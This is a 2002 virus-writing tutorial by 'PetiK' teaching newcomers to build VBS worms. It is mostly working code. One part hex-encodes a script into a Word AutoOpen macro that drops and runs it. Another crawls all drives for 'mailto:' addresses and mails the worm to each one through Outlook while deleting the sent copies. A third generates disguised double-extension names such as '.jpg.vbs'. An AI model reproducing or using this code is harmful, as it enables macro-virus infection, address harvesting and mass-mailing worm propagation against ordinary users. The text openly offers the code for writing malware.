=== VBS tutorial ===
=== by PetiK (05/05/2002) ====

################
Introducion:
################

I wrote this article after programming VBS.Xchange and VBS.Doublet (two VBS/DOC infectors).
There are three parts in this article.
- Hex Conversion : How convert a ascii file (VBS in a module of Word for example).
- Spread with "mailto:" : spread a VBS worm with web files.
- Random Name Generator : To change in each start a new copy of a VBS worm/virii.

I succeeded to code without look at other source
This sort of aticle is of course not for good coderz but for the newbies (NOT LAMERZ) and
all people who want learn about WORM programming.

##################
HEX CONVERSION:
##################

Why convert a file in hexadecimal ?? For example to put it in module of a Word dosument.
How to do this ??

```
1) Set fso=CreateObject("Scripting.FileSystemObject")
   Set fl=fso.OpenTextFile(WScript.ScriptFullname,1)
   virus=fl.ReadAll                                    ' Read all the file
   fl.Close

2) For i=1 To len(virus)         ' Take the size of the file

3) e=Mid(virus,i,1)                     ' Take one byte after one.
   e=Hex(Asc(e))                 ' And convert in hexa. (P=50;e=65;...)

4) If Len(e)=1 Then                     ' If the hexa < 10h we add a 0
   e="0"&e                       ' Example : return (0Dh0Ah). We will have D and A.
   End If                        ' So we add a 0 => 0D and 0A

5) f=f+e                         ' This part is for the lenght of the line in the module
   If Len(f)=110 Then                   ' of the document (don't support too long).
   sp.WriteLine "e = e + """+f+"""     ' Here we put 110 character:
   f=""                                 ' e = e + "...110 char..."
   End If

6) If Len(virus)-i = 0 Then             ' Here is for the last line if there are less 110 char :
   sp.WriteLine "e = e + """+f+"""     ' e = e + "... 1 < number of char < 110..."
   f=""
   End If
```

So the code source :

```
*************************************************************************************************************************
*****
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set fl=fso.OpenTextFile(WScript.ScriptFullname,1)
virus=fl.ReadAll
fl.Close

set sp=fso.CreateTextFile("example_vbshex.txt",True,8)
sp.WriteLine "Attribute VB_Name = ""VirModule"""
sp.WriteLine "Sub AutoOpen()"
sp.WriteLine "On Error Resume Next"
sp.WriteLine "e = """""

For i=1 To len(virus)

e=Mid(virus,i,1)
e=Hex(Asc(e))

If Len(e)=1 Then
e="0"&e
End If

f=f+e
If Len(f)=110 Then
sp.WriteLine "e = e + """+f+"""
f=""
End If

If Len(virus)-i = 0 Then
sp.WriteLine "e = e + """+f+"""
f=""
End If
```

```
Next

sp.WriteLine "read=dec(e)"
sp.WriteLine "Open ""C:\newvbsfile.vbs"" For Output As #1"
sp.WriteLine "Print #1, read"
sp.WriteLine "Close #1"
sp.WriteLine "Shell ""wscript C:\newvbsfile.vbs"""
sp.WriteLine "End Sub"
sp.WriteLine ""
sp.WriteLine "Function dec(octe)"
sp.WriteLine "For hexad = 1 To Len(octe) Step 2"
sp.WriteLine "dec = dec & Chr(""&h"" & Mid(octe, hexad, 2))"
sp.WriteLine "Next"
sp.WriteLine "End Function"
sp.Close
************************************************************************************************************************
*****


And this is the result:
************************************************************************************************************************
*****
Attribute VB_Name = "VirModule"
Sub AutoOpen()
On Error Resume Next
e = ""
e = e +
"4F6E204572726F7220526573756D65204E6578740D0A5365742066736F3D4372656174654F626A65637428225363726970746696E672E46"
e = e +
"696C6553797374656D4F626A65637422290D0A53657420666C3D66736F2E4F70656E5465787446696C652857536372697074E53637269"
e = e +
"707446756C6C6E616D652C31290D0A76697275733D666C2E52656164416C6C0D0A666C2E436C6F73650D0A0D0A7365742073703D66736F"
e = e +
"2E437265617465546578744696C6528226578616D706C655F7662736865782E747874222C547275652C38290D0A73702E57726974654C"
e = e +
"696E65202241747472696275746520564252E616D65203D2022225669724D6F64756C652222220D0A73702E57726974654C696E652022"
e = e +
"537562204175746F4F70656E2829220D0A73702E57726974654C696E6520224F6E204572726F7220526573756D65204E657874220D0A73"
e = e +
"702E57726974654C696E65202265203D2022222222220D0A0D0A466F7220693D3120546F206C656E287669727573290D0A0D0A653D4D69"
e = e +
"642876697275732C692C31290D0A653D4865782841736328652929 0D0A0D0A4966204C656E2865293D31205468656E0D0A653D22302226"
e = e +
"650D0A456E642049660D0A0D0A663D662B650D0A4966204C656E2866293D313130205468656E0D0A73702E57726974654C696E65202265"
e = e +
"203D2065202B202222222B662B222222220D0A663D22220D0A456E642049660D0A0D0A4966204C656E287669727573292D69203D203020"
e = e +
"5468656E0D0A73702E57726974654C696E65202265203D2065202B202222222B662B222222220D0A663D22220D0A456E642049660D0A0D"
e = e +
"0A4E6578740D0A0D0A73702E57726974654C696E652022726561643D646563286529220D0A73702E57726974654C696E6520224F70656E"
e = e +
"202222433A5C6E657776627366696C652E766273222220466F72204F7574707574204173202331220D0A73702E57726974654C696E6520"
e = e +
"225072696E742023312C2072656164220D0A73702E57726974654C696E652022436C6F7365202331220D0A73702E57726974654C696E65"
e = e +
"20225368656C6C20222277736372697074204 33A5C6E657776627366696C652E7662732222220D0A73702E57726974654C696E65202245"
e = e +
"6E6420537562220D0A73702E57726974654C696E652022220D0A73702E57726974654C696E65202246756E6374696F6E20646563286F63"
e = e +
"746529220D0A73702E57726974654C696E652022466F722068657861642 03D203120546F204C656E286F6374652920537465702032220D"
e = e +
"0A73702E57726974654C696E652022646563203D20646563202620436872282222266822222026204D6964286F6374652C206865786164"
e = e +
"2C20322929220D0A73702E57726974654C696E6520224E657874220D0A73702E57726974654C696E652022456E642046756E6374696F6E"
e = e + "220D0A73702E436C6F7365"
read=dec(e)
Open "C:\newvbsfile.vbs" For Output As #1
Print #1, read
Close #1
Shell "wscript C:\newvbsfile.vbs"
End Sub

Function dec(octe)
For hexad = 1 To Len(octe) Step 2
dec = dec & Chr("&h" & Mid(octe, hexad, 2))
Next
End Function
************************************************************************************************************************
*****

The function "dec" allows to convert in the opposite sense.



#########################
# SPREAD WITH "MAILTO:" #
#########################
```

Now we are going to see how spread a VBS worm without the Windows AddressBook (aka WAB).
If we can't use the WAB, we can read old mail and take the EMail. But too bad, I don't code this
in VBS. Last solution : take the EMail in the WEB file (htm, html, asp, etc...).

When we see a link to send an mail by clicking this is the code:
href="mailto:petikvx@aol.com">PetiKVX</A>

There is always this string : "MAILTO:". So! Fine!
We can scan all file to search this string and scan the EMail.

```
1) if (ext="htm") or (ext="html") or (ext="htt") or (ext="asp") Then  ' Take the good extension
                                                                      ' htm, html, asp, doc, xls
   set htm=fso.OpenTextFile(fil.path,1)                               ' and open the file.
   verif=True
   allhtm=htm.ReadAll()                                               ' Read all the file.
   htm.Close

2) For ml=1 To Len(allhtm)                                                  ' Get the size.
   count=0

3) If Mid(allhtm,ml,7) = "mailto:" Then                               ' Find the mailto: string.
   counter=counter+1
   mlto=""

4) Do While Mid(allhtm,ml+6+count,1) <> """"                          ' Scan the EMail until the '"' string.
   count=count+1
   mlto = mlto + Mid(allhtm,ml+6+count,1)
   loop

5) sendmailto(left(mlto,len(mlto)-1))                                 ' Send the mail
```

And now, the code:

```
************************************************************************************************************************
*****
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")

Set mel=fso.CreateTextFile("spread_mailto.txt",8,TRUE)
counter=0
lect()
mel.WriteLine "#"
mel.Close
WScript.Quit

Sub lect()
On Error Resume Next
Set dr=fso.Drives
For Each d in dr
If d.DriveType=2 or d.DriveType=3 Then
list(d.path&"\")
End If
Next
End Sub

Sub spreadmailto(dir)
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.GetFolder(dir)
Set cf=f.Files
For Each fil in cf
ext=fso.GetExtensionName(fil.path)
ext=lcase(ext)
if (ext="htm") or (ext="html") or (ext="htt") or (ext="asp") Then

set htm=fso.OpenTextFile(fil.path,1)
allhtm=htm.ReadAll()
htm.Close
For ml=1 To Len(allhtm)
count=0
If Mid(allhtm,ml,7) = "mailto:" Then
counter=counter+1
mlto=""
Do While Mid(allhtm,ml+6+count,1) <> """"
count=count+1
mlto = mlto + Mid(allhtm,ml+6+count,1)
loop
mel.WriteLine counter &" <"&left(mlto,len(mlto)-1)&">"

msgbox mlto

sendmailto(left(mlto,len(mlto)-1))
```

```
End If

Next

End If
Next
End Sub

Sub list(dir)
On Error Resume Next
Set f=fso.GetFolder(dir)
Set ssf=f.SubFolders
For Each fil in ssf
spreadmailto(fil.path)
list(fil.path)
Next
End Sub


Sub sendmailto(email)
Set out=CreateObject("Outlook.Application")
Set mailmelto=out.CreateItem(0)
mailmelto.To email
mailmelto.Subject "Subject of worm"
mailmelto.Body "Body of worm"
mailmelto.Attachment.Add (WScript.ScriptFullName)
mailmelto.DeleteAfterSubmit = True
mailmelto.Send
Set out = Nothing
End Sub
```

****

In the spread_mailto.txt file we have this:

****

```
1 <Petikvx@aol.com>
2 <VBS.Ketip.A@mm>
3 <PetiK@aol.com>
4 <kavdaemon@relay.avp.ru>
5 <kavdaemon@relay.avp.ru>kavdaemon@relay.avp.ru</A></TD></TR>
<TR class=aolmailheader>
<TD noWrap vAlign=top width=>
6 <Pentasm99@aol.com>
7 <Pentasm99@aol.com screenname=>
...
...
```

****

We can see of course some problems:

- <VBS.Ketip.A@mm> : not a real EMail but a Norton Worm Name

- <kavdaemon@relay.avp.ru>kavdaemon@relay.avp.ru</A></TD></TR>:
<TR class=aolmailheader> : The scan doesn't found immediatly the '"' string.
<TD noWrap vAlign=top width=> :

- <Pentasm99@aol.com screenname=> : IDEM. It was not '"' the end of the mail but a space (20h)

```
##########################
# RANDOM NAME GENERATOR: #
##########################
```

Like I said in my last article about "Hide a copy a of worm" we are going to make the same thing in VBS.

```
1) tmpname=""                                           ' Value of tmpname is NULL

2) randomize(timer)                                     ' Random size of the first part of name
   namel=int(rnd(1)*20)+1                               ' between 1 and 20.

3) For lettre = 1 To namel                              ' Put the letter.
   randomize(timer)                                     ' 97 : Start from "a" (65 : Start from "A")
   tmpname=tmpname & chr(int(rnd(1)*26)+97)             ' 26 : from "a-A" to "z-Z"
   Next                                                 ' for number 26 => 9 and 97 => 48

4) typext = "execombatbmpjpggifdocxlsppthtmhtthta"     ' Now we choice an extension between 12 differents.
   randomize(timer)
   tmpext = int(rnd(1)*11)+1

5) tmpname=tmpname & "." & mid(typext,((tmpext-1)*3)+1,3) & ".vbs"    ' And we have the result
```

Code Source:

****

```
tmpname=""
randomize(timer)
namel=int(rnd(1)*20)+1
For lettre = 1 To namel
randomize(timer)
tmpname=tmpname & chr(int(rnd(1)*26)+97)
Next
typext = "execombatbmpjpggifdocxlsppthtmhtthta"
randomize(timer)
tmpext = int(rnd(1)*11)+1
tmpname=tmpname & "." & mid(typext,((tmpext-1)*3)+1,3) & ".vbs"

MsgBox tmpname
```
****
*****

Some Examples:
mhrmhoulleyl.htm.vbs
rlvqmtyppjcbho.bat.vbs
PREYXUDBNYKNLRSALL.DOC.VBS
869768177527247364.gif.vbs
...
...

This technics is extra to change name of worms copy ineach start (look at my last article)

CONCLUSION:

This is the end of the article. I hope that it help you in your creations and research.
If you have any suggestions or comments, please mail me to petikvx@aol.com

PetiK (www.petikvx.fr.fm)